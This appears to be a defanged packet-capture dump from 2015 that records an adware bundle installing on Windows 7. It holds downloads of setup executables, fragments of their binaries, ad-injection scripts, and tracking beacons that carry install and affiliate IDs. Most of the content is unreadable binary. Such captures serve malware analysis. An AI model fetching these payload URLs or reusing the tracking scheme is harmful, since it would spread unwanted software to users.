0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
0011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150210011300Z....20150217012800Z0...*.H........
......Yf......d....B.....ND.?...v.....i.\[email protected].. .N..=.5.t
..Rj4 ..IbmA.PW....&..2.i.:....)._..#..Xg..M......,....&.|.R...E/...h.
...M@.*&..#`...#)x..R...5/.Q...6e[..g7&.E*....}..\[email protected]...
...'......Y...:nN...[8Nb.._r....Q..4...&.o1WH...?..HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=511069..Content-Type: appli
cation/ocsp-response..Date: Tue, 10 Feb 2015 04:00:23 GMT..Etag: "54d9
5eb5-1d7"..Expires: Mon, 16 Feb 2015 16:00:23 GMT..Last-Modified: Tue,
 10 Feb 2015 01:28:21 GMT..Server: ECS (ams/D1B3)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0.......q.7.s.......
4. Z.....20150210011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.
s.......4. Z......M.q.......d...,....20150210011300Z....20150217012800
Z0...*.H..............Yf......d....B.....ND.?...v.....i.\[email protected]....
...p.. .N..=.5.t..Rj4 ..IbmA.PW....&..2.i.:....)._..#..Xg..M......,...
.&.|.R...E/...h....M@.*&..#`...#)x..R...5/.Q...6e[..g7&.E*....}..\.@..
...xUJ...1.UK......'......Y...:nN...[8Nb.._r....Q..4...&.o1WH...?....

<<< skipped >>>

GET /app/ping.ashx?e=KSz5qzb2KgKyCpK5vbxu3HgOOk4ct2L21JTL4xSx1FWRoZJTpqsyZ quxda/Dun3 g9ahKuAGPNHi3MQ4TbJKWmlb8i35eag9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdODaDkAUnC4/kfaS0xvxjr7Lp8bM2zq8UETt5/U4HLkXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaEpC43Yrp89RvUzp5P7xtxpmtPfLoqsZt80t8dT6BdnpggjzHXGMbB/NR8FfqzoH7R0qlvkz/HCDJ/Wd udVl70m30CyQo1Eg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:20 GMT..Content-Length: 0..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FeubawQc6HsupyaN8LQ4eWIoDauRq84W4cFKNHNE7809vUzBsRJWAA==

....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......

<<< skipped >>>

GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:09 GMT

Content-Type: image/x-icon

Content-Length: 32038

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7d26"

Expires: Tue, 10 Feb 2015 04:30:09 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................<<< skipped >>>

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: image/x-icon

Content-Length: 1150

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-47e"

Expires: Tue, 10 Feb 2015 04:30:10 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Tue, 10 Feb 2015 04:00:10 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Tue, 10 Feb 2015 04:3
0:10 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................<<< skipped >>>

GET /script/14567725608/preload.js?subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:22 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d364e07591f1bab6f404256be3eb68e811423540822; expires=Wed, 10-Feb-16 04:00:22 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"2579a1e12887c662aecc0e91d6fbfe637feb90c7"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Tue, 10 Feb 2015 08:00:22 GMT

Server: cloudflare-nginx

CF-RAY: 1b65663a59fa0c8f-AMS

Content-Encoding: gzip
b49..............k..6.....(,....M6Y j..=\..z......@K...,.Hj.......$..7
I...lD........*..UA.....V....Q.."..a..*g.)...."<../^^.zu..r..O.*p..
RM=.qR2\L.x...Qq..2.E................y.............................:&5
MQ............g..W3..!.w...;\......Y..UAV."......8I...|uEe.R....?.bc.I
..SZI. \N.%.oI......z...4......b.....WW..\>...yD.xG...:..B.s..8....
..c..N........7...M..R.. J.}.pK...bZe....%.r.'k..%IV8'K.n.-.....l...x.
.Z..%.$....#.e.$..nw.n.I.s..c.Y.o......)(V....lG...B.................|
...%.....[...X.......~..kb...../.I.ko/.>.b..-.../..,......B...8.oM.
\.p)H...$..L...D#.;.....Z.w.....|...Z.xM.V.hs.`YAs.......I.#*........?
1Z.t.Q.....'F.......r.}...I@R^s.m..i..zK*9)Y.A..l'.B&v%.i...u.&(..U..]
;.II.....oh../.s"kn..t...s.........O%........wt.%.j.V..jA.....PqL.}OO.
j.V....BC(.Yl..~._.8....DJ...M...@..'...,;$Ml..>>.~.R....sN.$...
/r?......:.D....e-I.......AN..w~.c..#......R...i.K.Z......~.....T...-.
@...np.....&........oxK..Cp.. f#...h.<.....q=..m..j.8....GU.z......
."[email protected].......'k..............%..........X..J......OP.P.r.B.Pa
.t..%.^.gr3]..Q4Y1..t..7.u.(R75.bB..<...P.".i........u%.I.@...:S...
....Rf:...`.Z.:P0.)A6...m.T..=.=..b.f..V..&.v.<...m.......U.P...lq.
.......|.|M,.|..-...<. ..pY..<..Q.;,7&.aG..U..*...p.....#...z...
.0..Y....(.&........`.F..c.....J<......E..d.....6E.T..S..I.u..S.(R.
I_9.uRm...(juL.x}.z*K..NE.3!1.k..jc.....A......A%@6."o.......Q.bCk..6.
>[email protected]*n....._......8..T.ax9M.U....As.....d.........
.....u........3..1...kr.4f.h.j3w..d9 S.>i....b.6R.......*>..<<< skipped >>>

GET /script/layer.js?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:22 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d364e07591f1bab6f404256be3eb68e811423540822; expires=Wed, 10-Feb-16 04:00:22 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"5dd0c57f44e9cdaeb23da86ac8fa96e3879bdaba"

Cache-Control: public, max-age=14400

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

CF-Cache-Status: HIT

Expires: Tue, 10 Feb 2015 08:00:22 GMT

Server: cloudflare-nginx

CF-RAY: 1b65663c3a4a0c8f-AMS

Content-Encoding: gzip
600a.............}{..............%....._....M.l..sv...$B.b.TI.....l...
. ....MR.....{.#....`0...`..o.Y%...^....-.."...r..e......... .".wU.jSd
.j)...U.e?..`.yq........~0KYY..e........g.P}|.r..v.o.....&|.2........]
.".w......{?.{....^x.....Lu.....]-xuh..........t.2:.u.*..g..rG...t....
.2..C...[.a.NE...X...Hd...%.....K"G../s.....A..).Y?......=`..U|...P...
l.z......"...K..M..|.......nW....x...#.*_,.[..<}.B....Y.ULd.iII....
....I.F..D.W...m....8...6iztss......^..E.....%.....&<.......e.....z
..$...f..6M....%........b...BT..6........eI...d..49c)..c.=.2~.)..-xU..
.TZ..vt.....K. IV.9(.,.8ci.c].l......H...Oy.;..6......2.uH.E..PH5.A.S.
.1.L.,I&........,[p......c.....,M.s.|}....6.7..4e.i..W5...J...... ASi0
&.Z..,....^..k.2....<...J.Hd./2.jH..C./..I..W.j..x...L......hQ..=D.
..V......T.n.a..[z......Y.C.p.g..J.Vl..7........Ms.,t..5 J.:.4.ax..=..
')..[.fK.&....r...8->.hfB.&..D!...P.2...E.@.......'....!.PY..X. .6.
K.......i..f..kn..(...-,.1.{V-. v..$#......H.|[email protected]
|J...\\...g....;.H..L...k..?..V.i./..]Zv36..yx..a.....y....).}. .....L
.......bdCh%.E8xS..tL.0\.....O8......u89g...8....P..q.:...Au....~'..{.
..&.......G........f8R......{.c...Ix5..........y......^.%..).R.a.....W
......N......M.V,P.....a...^... y..R-..O..M....%.....C.!.&.Bj.i{.....c
 ..?.......|.e...X.c KW|.....Ha...p.n.TM..u..;....E..iF.>g.......nS
j...v'..":.<......./.x.f9.e(.7..Y....)........B].e.J'.. .. N...j.^.
N....F..9....%lC..ay..#.....<....<......5..6Y.H..Ij..Sc...B..^m.
.*..a..C......|x..|.`...z.bm...f..zT*V...NEUF....xO.L %.}HV2.H0U..<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:55:02 GMT

Accept-Ranges: bytes

ETag: "1bd473758e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 09 Feb 2015 15:46:59 GMT

Content-Range: bytes 0-249999/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eK-9_NvE1yYYOz9QP_ZVSfJwmCa6FTXvSGNO7r63YXvOpP5hOG3k8w==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive



..P.....!....T..............T......D.....!..........i"...M..a"....P...
.V"....X.....!.........@"...M..8"..........................P....."....
X....m!..........".........W!....X....p.....L..... ..9....P....}......
....(!..........!....D.....!..........!..........!...M...!...T$..B....
[email protected][email protected].. ...M .. ...M... ....l..... ...M..@
!...M..8!...M... ...M... ...M.. !....x.....!...M...!....h....c ....X..
... ....h....M ...M... ....h..... ....X..../ ...M... ...M... ...M .. .
..M8.. [email protected][email protected] ......M...
...............M..[ ...M.......M..K ...M.......M..; ...M........`....(
 ....H..... ....x..... .......... .........................M..........
...?.....x..........H..........`.....................x..........H.....
.....`..........0...............{...............M.............].......
.........0....G..........<..........1....M..)....M..!....M.........
.........M.......M ......M8......T$..B.......3..a>...J.3..W>....
WL..g....M..'....M.......M.......M..}(...M.......M.......M.......M....
...M.......T$..B..J.3...=....XL.......M.......M..[....M.......M.......
M..C....T$..B..J.3...=....YL.......M.......M.......M..q....M..i....M..
.....M..Y....M..Q....M.......T$..B..J.3..V=....YL..f....M .&....M.....
..M.......M.......M.......M.......M.......M ......T$..B..J.3...<...
HZL.......M ......M.......M..)'...M..R....M.......M..B....M.......M..2
....M .*....T$..B..J.3...<....ZL.......M .h....M..`....M.......M..P
[email protected] ......T$..B..J.3..=<...0[L..M....<<< skipped >>>

GET /utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=16190&rnd=4772 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:16 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:51 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537392"

Last-Modified: Tue, 10 Feb 2015 03:03:12 GMT

Cache-Control: max-age=213

Content-Length: 205272

Content-Type: application/x-msdownload

X-HW: 1423540792.dop005.am4.t,1423540791.cds045.am4.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......'...c.l.c.l.
c.l..&..p.l..&....l..&..L.l.j...d.l.c.m...l.....k.l.....b.l.Richc.l...
......PE..L....=.T.................X..........u$.......p....0.........
.................`..................................................P.
...................................w..8...............................
@............p...............................text....W.......X........
.......... ..`.rdata.......p.......\..............@[email protected]......
....................@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................U...E..8.u.3.][email protected].
 .]...$.2..U...E..V....$.2.t.V.....Y..^]...U...U..A.;B.u...;[email protected].
]...U...E..U....H.]...U..QQ.u....u..U.R.P............U...E.;H.u...;E.u
[email protected].]......2...h82..f...Q.u..e.......Y.....2..E.Q.M..|....e...M..E
......E.d............72......QV...u..M...E....$.2.t.V.....Y.M...^d....
........72......Q.M..M....$.2..M.d...........2...h82......Q.e..W3.G9}.
u..M.h..2.........u..u..$....e...M..}..E._d............72..q...QV...u.
.M...E....$.2.t.V.....Y.M...^d.............2...h82..2...Q.u..e....

<<< skipped >>>

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.5153714941316139 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/flvplayerkuiw/49e8b48101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8b48101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:51 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:59:51 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Mon, 09 Feb 2015 16:08:18 GMT

Last-Modified: Mon, 09 Feb 2015 16:03:40 GMT

ETag: "54d8da5c-d66"

Expires: Mon, 09 Feb 2015 16:18:18 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 495

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RC2aNVO7u6Sy-BQRj-0SBwpOI7lTYqQluF4No5CcDf-6jZvqB-fbAA==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 08 Feb 2015 04:56:40 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 08 Feb 2015 05:06:40 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5Ou5K4nAIqkgFQhkGkTzWUIsUYVFejIecZr19UmsJPuIHttCcwNecw==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /utility.gif?error=start&report=mini_s&ver=820&action=na&ms_vr=3&clock=0&rnd=20191 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:00 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

